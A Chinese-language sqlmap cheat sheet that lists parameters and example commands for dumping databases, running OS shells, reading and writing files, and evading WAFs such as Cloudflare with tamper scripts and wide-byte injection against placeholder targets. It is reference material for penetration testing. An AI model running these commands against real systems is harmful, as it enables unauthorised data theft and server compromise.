应用场景
自动测试注入已找到的sql注入漏洞点
命令参数
常用参数
参数 |
详解 |
-u “url” |
注入的url |
–data |
post请求payload |
–cookie |
cookie注入 |
–dbs |
列出所有数据库 |
-tables |
列出所有表 |
-D |
指定数据库 |
-T |
指定表 |
-C |
指定字段 |
–dump |
跟在上面指定的参数一起使用,列出指定的数据 |
–sql-shell |
写shell |
–batch |
默认选择y |
–eta |
盲注,显示时间和优化 |
–os-cmd=id |
执行系统命令 |
–os-shell |
系统交互shell |
–os-pwn |
反弹shell |
–referer |
使用referer欺骗 |
–users |
列数据库所有用户 |
–threads |
多线程 |
–file-read |
读指定文件 |
–file-write |
写入指定文件 |
示例
- post请求插入请求表单
1
| sqlmap -u "url" --data="id=1&" --batch
|
- 列出数据库系统用户
1
| sqlmap -u "url" --users -v 0
|
- 列出所有数据库名称
1
| sqlmap -u "url" --dbs --batch
|
- 列出指定数据库的表
1
| sqlmap -u "url" --tables -D "数据库名称" -tables --batch
|
- 列出指定表的数据
1
| sqlmap -u "url" --tables -D "数据库名称" -T "表名" --dump --batch
|
安全参数
参数 |
详解 |
-proxy “url,url” |
代理 |
–tamper |
Tamper 脚本,混淆 Payload |
–chunked |
分块传输编码 |
–random-agent |
随机化 HTTP 头 |
–delay=5 |
请求延迟 |
–headers |
–headers="X-Forwarded-For:1.1.1.1"添加自定义 HTTP 头 |
–charset |
强制指定字符集,绕过转义字符 |
示例
- 绕过 Cloudflare WAF
1 2 3 4 5 6 7
| sqlmap -u "http://XXXXXXX.com?id=1" \ --tamper=space2comment,randomcase,versionedmorekeywords \ --random-agent \ --delay=3 \ --dbms=MySQL \ --level=5 \ --risk=3
|
- GBK 宽字节注入
1 2 3 4 5
| sqlmap -u "http://XXXXXXX.com?id=1%df%27" \ --charset=gbk \ --tamper=unmagicquotes \ --dbms=MySQL \ --dbs
|
- JSON 参数注入
1 2 3 4 5
| sqlmap -u "http://target.com/api" \ --data='{"id":"1*"}' \ --param-del=":" \ --headers="Content-Type: application/json" \ --dbms=MySQL
|
-v #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容